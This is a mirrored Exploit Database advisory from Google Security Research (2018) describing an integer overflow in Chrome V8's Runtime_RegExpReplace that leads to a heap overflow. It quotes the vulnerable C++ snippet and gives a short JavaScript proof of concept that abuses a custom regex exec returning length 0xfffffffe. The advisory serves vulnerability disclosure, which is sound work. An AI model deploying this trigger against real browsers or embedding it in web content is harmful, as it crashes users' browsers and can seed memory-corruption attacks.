Chrome V8 – ‘Runtime_RegExpReplace’ Integer Overflow

• Exploit Database
• 13 阅读

• 作者： Google Security Research
  日期： 2018-02-15
• 类别：

  • dos
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/44084/

• /*
  Here's a snippet of the method.
  ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
  isolate, captures_length_obj,
  Object::ToLength(isolate, captures_length_obj));
  const int captures_length = PositiveNumberToUint32(*captures_length_obj);
  ...
  if (functional_replace) {
  const int argc =
  has_named_captures ? captures_length + 3 : captures_length + 2; <<-- (a)
  
  ScopedVector<Handle<Object>> argv(argc);
  
  int cursor = 0;
  for (int j = 0; j < captures_length; j++) {
  argv[cursor++] = captures[j];
  }
  
  // (b)
  argv[cursor++] = handle(Smi::FromInt(position), isolate);
  argv[cursor++] = string;
  
  The variable "captures_length" can be controlled by the user, so an integer overflow may occur at (a) which causes a heap overflow at (b).
  
  
  PoC:
  */
  
  let cnt = 0;
  let reg = /./g;
  reg.exec = () => {
  if (cnt++ == 0)
  return {length: 0xfffffffe};
  
  cnt = 0;
  return null;
  };
  
  ''.replace(reg, () => {});